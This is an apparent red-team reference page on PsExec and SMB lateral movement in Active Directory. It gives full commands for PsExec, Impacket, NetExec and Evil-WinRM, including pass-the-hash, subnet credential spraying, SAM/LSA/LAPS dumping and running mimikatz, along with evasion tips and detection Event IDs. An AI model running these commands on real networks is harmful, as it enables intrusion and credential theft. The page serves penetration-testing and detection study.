attack-54-psexec-remote-execution-via-smb.md (19095B)
1 --- 2 title: "Attack #54 — PsExec Remote Execution via SMB" 3 description: "PsExec is the most iconic lateral movement technique in Active Directory environments. It enables an attacker with valid administrator credentials to…" 4 category: active-directory 5 subcategory: "Lateral Movement" 6 tags: ["active-directory", "kerberos", "privilege-escalation", "lateral-movement", "hashing"] 7 tools: ["NetExec", "Impacket", "Mimikatz", "Evil-WinRM", "PowerShell"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #54 — PsExec Remote Execution via SMB.md" 11 --- 12 # ⚫ Attack #54 — PsExec / Remote Execution via SMB 13 14 *** 15 16 ## 📖 How It Works 17 18 PsExec is the **most iconic lateral movement technique in Active Directory environments**. It enables an attacker with valid administrator credentials to execute commands on remote Windows systems over the Server Message Block (SMB) protocol. The technique works by creating a temporary Windows service on the target machine, which executes the specified command under the SYSTEM context, then cleans up after itself. 19 20 The original Sysinternals PsExec is a legitimate Microsoft tool used by system administrators for remote management, which makes it inherently difficult to distinguish from normal administrative activity. However, Impacket's `psexec.py`, `smbexec.py`, and `wmiexec.py` provide even more flexible alternatives from Linux, each with different execution mechanics and detection characteristics. 21 22 ### How PsExec Works Under the Hood 23 24 ``` 25 1. Authenticate to the target via SMB (port 445) using credentials, hash, or ticket 26 2. Connect to the ADMIN$ or C$ share (requires local admin privileges) 27 3. Upload a service binary to \\TARGET\ADMIN$\ (Sysinternals) or create inline service (Impacket) 28 4. Create and start a Windows service via the Service Control Manager (SCM) 29 5. The service executes the command as NT AUTHORITY\SYSTEM 30 6. Output is redirected back via a named pipe 31 7. Service is stopped and deleted (cleanup) 32 ``` 33 34 ### Execution Method Comparison 35 36 | Tool | Upload Binary? | Service Created? | Execution Context | Stealth Level | Protocol | 37 |---|---|---|---|---|---| 38 | **Sysinternals PsExec** | Yes (PSEXESVC.exe) | Yes (PSEXESVC) | SYSTEM | Low — drops binary to disk | SMB | 39 | **Impacket psexec.py** | Yes (random .exe) | Yes (random name) | SYSTEM | Low — drops binary | SMB | 40 | **Impacket smbexec.py** | No | Yes (per-command) | SYSTEM | Medium — no binary on disk | SMB | 41 | **Impacket wmiexec.py** | No | No | User context | High — no service, no binary | WMI/DCOM | 42 | **Impacket atexec.py** | No | No (scheduled task) | SYSTEM | Medium — uses task scheduler | SMB | 43 | **Impacket dcomexec.py** | No | No | User context | High — uses DCOM objects | DCOM | 44 45 *** 46 47 ## ⚙️ Prerequisites 48 49 | Requirement | Detail | 50 |---|---| 51 | **Local admin credentials on target** | Valid username + password, NT hash (PtH), or Kerberos ticket | 52 | **SMB access (port 445)** | Must be able to reach the target's SMB service | 53 | **ADMIN$ or C$ share accessible** | Requires administrative shares to be enabled (default on) | 54 | **No network segmentation blocking SMB** | Firewall must allow TCP 445 between source and target | 55 56 *** 57 58 ## 🛠️ Tools 59 60 | Tool | Platform | Notes | 61 |---|---|---| 62 | **Sysinternals PsExec** | Windows | Original Microsoft tool — `PsExec.exe` | 63 | **Impacket — psexec.py** | Linux | Python implementation — drops binary to ADMIN$ | 64 | **Impacket — smbexec.py** | Linux | Fileless — creates service cmd per command | 65 | **Impacket — wmiexec.py** | Linux | Most stealthy — uses WMI, no service creation | 66 | **Impacket — atexec.py** | Linux | Uses Task Scheduler for execution | 67 | **Impacket — dcomexec.py** | Linux | Uses DCOM objects for execution | 68 | **CrackMapExec / NetExec** | Linux | Mass execution — spray commands across networks | 69 | **Evil-WinRM** | Linux | WinRM-based shell (port 5985/5986) | 70 71 *** 72 73 ## 💻 Full Commands 74 75 ### 🔴 Sysinternals PsExec (Windows → Windows) 76 77 ```powershell 78 # ── Interactive SYSTEM shell on remote host ─────────────────────────────────── 79 PsExec.exe \\TARGET cmd.exe 80 # Prompts for credentials if not running as DA 81 82 # ── With explicit credentials ───────────────────────────────────────────────── 83 PsExec.exe \\TARGET -u CORP\Administrator -p 'Password1' cmd.exe 84 85 # ── Run as SYSTEM on remote host ────────────────────────────────────────────── 86 PsExec.exe -s \\TARGET cmd.exe 87 # -s = run as SYSTEM (default for remote execution) 88 89 # ── Execute a specific command (non-interactive) ────────────────────────────── 90 PsExec.exe \\TARGET -u CORP\Administrator -p 'Password1' ipconfig /all 91 92 # ── Execute on multiple targets ─────────────────────────────────────────────── 93 PsExec.exe \\TARGET1,TARGET2,TARGET3 -u CORP\Administrator -p 'Password1' whoami 94 95 # ── Execute on all computers in a file ──────────────────────────────────────── 96 PsExec.exe @computers.txt -u CORP\Administrator -p 'Password1' hostname 97 98 # ── Copy a binary to remote host and execute ────────────────────────────────── 99 PsExec.exe \\TARGET -u CORP\Administrator -p 'Password1' -c mimikatz.exe 100 # -c = copy the specified program to ADMIN$ then execute it 101 102 # ── Run with alternate credentials (pass current token) ────────────────────── 103 # If you have a Kerberos ticket injected via PtT / Golden Ticket: 104 PsExec.exe \\DC01.corp.local cmd.exe 105 # Uses the current session's Kerberos tickets automatically 106 ``` 107 108 *** 109 110 ### 🔴 Impacket — psexec.py (Linux → Windows) 111 112 ```bash 113 # ── Interactive SYSTEM shell with password ──────────────────────────────────── 114 psexec.py corp.local/Administrator:'Password1'@10.10.10.10 115 116 # ── With domain prefix ──────────────────────────────────────────────────────── 117 psexec.py 'corp.local/Administrator:Password1@10.10.10.10' 118 119 # ── Pass-the-Hash (no password needed) ──────────────────────────────────────── 120 psexec.py corp.local/Administrator@10.10.10.10 \ 121 -hashes :2b576acbe6bcfda7294d6bd18041b8fe 122 123 # ── Kerberos authentication (with cached ticket) ───────────────────────────── 124 export KRB5CCNAME=administrator.ccache 125 psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local 126 127 # ── Execute specific command ────────────────────────────────────────────────── 128 psexec.py corp.local/Administrator:'Password1'@10.10.10.10 "whoami /all" 129 130 # ── Use local admin account (no domain) ─────────────────────────────────────── 131 psexec.py ./Administrator:'Password1'@10.10.10.10 132 ``` 133 134 *** 135 136 ### 🔴 Impacket — smbexec.py (Fileless — No Binary Drop) 137 138 ```bash 139 # ── Fileless shell via service creation ─────────────────────────────────────── 140 smbexec.py corp.local/Administrator:'Password1'@10.10.10.10 141 142 # ── With PtH ────────────────────────────────────────────────────────────────── 143 smbexec.py corp.local/Administrator@10.10.10.10 \ 144 -hashes :2b576acbe6bcfda7294d6bd18041b8fe 145 146 # ── Kerberos ────────────────────────────────────────────────────────────────── 147 export KRB5CCNAME=administrator.ccache 148 smbexec.py -k -no-pass corp.local/Administrator@DC01.corp.local 149 150 # How smbexec works differently from psexec: 151 # - Does NOT upload a binary to the target 152 # - Creates a service per command that runs: %COMSPEC% /Q /c <command> 1> output 2>&1 153 # - Output is written to a file on ADMIN$ share, then read back 154 # - Service is deleted after each command 155 # - Stealthier than psexec (no file on disk) but creates more Event 7045 entries 156 ``` 157 158 *** 159 160 ### 🔴 Impacket — wmiexec.py (Most Stealthy — No Service) 161 162 ```bash 163 # ── Stealthy shell via WMI ──────────────────────────────────────────────────── 164 wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10 165 166 # ── With PtH ────────────────────────────────────────────────────────────────── 167 wmiexec.py corp.local/Administrator@10.10.10.10 \ 168 -hashes :2b576acbe6bcfda7294d6bd18041b8fe 169 170 # ── Kerberos ────────────────────────────────────────────────────────────────── 171 export KRB5CCNAME=administrator.ccache 172 wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local 173 174 # ── Execute single command ──────────────────────────────────────────────────── 175 wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10 "whoami /all" 176 177 # How wmiexec works: 178 # - Uses WMI (DCOM port 135 + dynamic RPC) instead of SMB services 179 # - Spawns cmd.exe via Win32_Process.Create() 180 # - Does NOT create a service (no Event 7045) 181 # - Does NOT upload any binary 182 # - Output redirected to \\127.0.0.1\ADMIN$\__<random> 183 # - Runs as the authenticated user (not SYSTEM by default) 184 # - Most stealthy of all Impacket exec tools 185 ``` 186 187 *** 188 189 ### 🔴 Impacket — atexec.py (Task Scheduler) 190 191 ```bash 192 # ── Execute via scheduled task ──────────────────────────────────────────────── 193 atexec.py corp.local/Administrator:'Password1'@10.10.10.10 "whoami" 194 195 # ── With PtH ────────────────────────────────────────────────────────────────── 196 atexec.py corp.local/Administrator@10.10.10.10 \ 197 -hashes :2b576acbe6bcfda7294d6bd18041b8fe "ipconfig /all" 198 199 # How atexec works: 200 # - Creates a scheduled task on the remote host 201 # - Task executes the command and writes output to a temp file 202 # - Output is read back via SMB 203 # - Task is deleted after execution 204 # - Uses the Task Scheduler service instead of SCM 205 ``` 206 207 *** 208 209 ### 🔴 CrackMapExec / NetExec — Mass Execution 210 211 ```bash 212 # ── Single target — execute command ─────────────────────────────────────────── 213 nxc smb 10.10.10.10 -u Administrator -p 'Password1' -x "whoami" 214 nxc smb 10.10.10.10 -u Administrator -p 'Password1' -X "Get-Process" # PowerShell 215 216 # ── PtH ─────────────────────────────────────────────────────────────────────── 217 nxc smb 10.10.10.10 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe -x "whoami" 218 219 # ── Kerberos ────────────────────────────────────────────────────────────────── 220 nxc smb DC01.corp.local --use-kcache -x "whoami" 221 222 # ── Spray across subnet — find where credentials work ──────────────────────── 223 nxc smb 10.10.10.0/24 -u Administrator -p 'Password1' 224 # Look for (Pwn3d!) in output = admin access confirmed 225 226 # ── Mass command execution across all accessible hosts ──────────────────────── 227 nxc smb 10.10.10.0/24 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe \ 228 -x "whoami" --exec-method smbexec 229 230 # ── Execution methods ──────────────────────────────────────────────────────── 231 # --exec-method smbexec → Fileless service execution 232 # --exec-method wmiexec → WMI-based execution 233 # --exec-method atexec → Scheduled task execution 234 # --exec-method mmcexec → MMC-based execution 235 236 # ── Dump SAM via CME ────────────────────────────────────────────────────────── 237 nxc smb 10.10.10.10 -u Administrator -p 'Password1' --sam 238 239 # ── Dump LSA secrets ────────────────────────────────────────────────────────── 240 nxc smb 10.10.10.10 -u Administrator -p 'Password1' --lsa 241 242 # ── Dump LAPS passwords ────────────────────────────────────────────────────── 243 nxc ldap DC01.corp.local -u Administrator -p 'Password1' --laps 244 ``` 245 246 *** 247 248 ### 🔴 Evil-WinRM (WinRM-Based Shell) 249 250 ```bash 251 # ── Interactive PowerShell shell via WinRM ──────────────────────────────────── 252 evil-winrm -i 10.10.10.10 -u Administrator -p 'Password1' 253 254 # ── PtH ─────────────────────────────────────────────────────────────────────── 255 evil-winrm -i 10.10.10.10 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe 256 257 # ── Kerberos ────────────────────────────────────────────────────────────────── 258 evil-winrm -i DC01.corp.local -r corp.local 259 260 # ── Upload/download files ──────────────────────────────────────────────────── 261 # Inside evil-winrm session: 262 upload /local/path/mimikatz.exe C:\Temp\mimikatz.exe 263 download C:\Users\Administrator\Desktop\flag.txt /local/path/flag.txt 264 265 # ── Load PowerShell scripts ────────────────────────────────────────────────── 266 evil-winrm -i 10.10.10.10 -u Administrator -p 'Password1' -s /path/to/scripts/ 267 # Inside session: menu → loads scripts from the specified directory 268 269 # Note: WinRM uses port 5985 (HTTP) or 5986 (HTTPS), not SMB port 445 270 ``` 271 272 *** 273 274 ## 🎯 OPSEC Tips 275 276 - **wmiexec.py is the stealthiest** — no binary uploaded, no Windows service created, no Event 7045; only creates `cmd.exe` via WMI 277 - **smbexec.py is a good middle ground** — no binary on disk, but does create temporary services (generates Event 7045 per command) 278 - **psexec.py is the loudest** — uploads a binary to ADMIN$, creates a persistent service with a recognizable random name 279 - **Sysinternals PsExec leaves `PSEXESVC.exe`** on the target — this is a well-known IOC; use `PsExec -r <custom_name>` to change the service name 280 - **Use Kerberos authentication** over NTLM when possible — NTLM generates more detectable network traffic 281 - **Avoid spraying commands** across the entire subnet unless time-constrained — mass execution via CME/NXE generates correlated authentication events 282 - **Clean up after execution** — delete uploaded binaries, check for leftover services (`sc query type=own`), remove temp files 283 284 *** 285 286 ## 🛡️ Detection — Event IDs 287 288 | Event ID | Source | What to Look For | 289 |---|---|---| 290 | **7045** | System Log | New service installed — random name, binary in `C:\Windows` or ADMIN$ (PsExec, smbexec) | 291 | **4697** | Security Log | Service installation — same as 7045 but in Security log | 292 | **4624** | Security Log | Logon Type 3 (Network) — admin account authenticating from unexpected source | 293 | **4672** | Security Log | Special privileges assigned to network logon | 294 | **5145** | Security Log | Network share accessed — `ADMIN$`, `C$`, `IPC$` access from workstations | 295 | **4688** | Security Log | Process creation — `cmd.exe` spawned by service or `wmiprvse.exe` | 296 | **Sysmon 1** | Sysmon | Process creation with command line — catch the actual commands executed | 297 | **Sysmon 11** | Sysmon | File creation — PsExec binary written to ADMIN$ share | 298 299 **Primary detection signature:** **Event 7045** with a service binary path pointing to `C:\Windows\` or `%SystemRoot%\` with a random-looking name is the classic PsExec/smbexec indicator. For wmiexec, monitor for `wmiprvse.exe` spawning `cmd.exe` via **Event 4688** with Command Line Auditing enabled. Correlate all of these with **Event 4624 Type 3** from unexpected source IPs to identify lateral movement campaigns. 300 301 *** 302 303 ## 🔗 Attack Chain Context 304 305 ``` 306 [PsExec / SMB Execution] ──→ Lateral Movement Across the Domain 307 │ 308 ├──→ 🔑 Requires: valid admin creds (local or domain) or PtH/PtT 309 ├──→ 💻 Execute as SYSTEM on any remote host with admin access 310 ├──→ 🩸 Post-access: dump LSASS → extract more creds → pivot further 311 ├──→ 📋 Chain: Password Spray (#1) → PtH (#4) → PsExec → more creds 312 ├──→ 🌐 Mass execution: spray across subnet to identify admin access 313 ├──→ 🔗 Commonly follows: credential attacks, kerberos abuse, token impersonation 314 └──→ 💀 Defeated by: disable ADMIN$, network segmentation, LAPS, EDR 315 ``` 316 317 **PsExec-style lateral movement is the backbone of AD engagements.** After obtaining any form of admin credentials (PtH, cracked passwords, Kerberoast, etc.), the first action is always to spray those credentials and execute on as many machines as possible — extracting more credentials from each compromised host in a snowball effect until Domain Admin is achieved. 318 319 *** 320 321 > ✅ **Attack #54 — PsExec / Remote Execution via SMB complete.**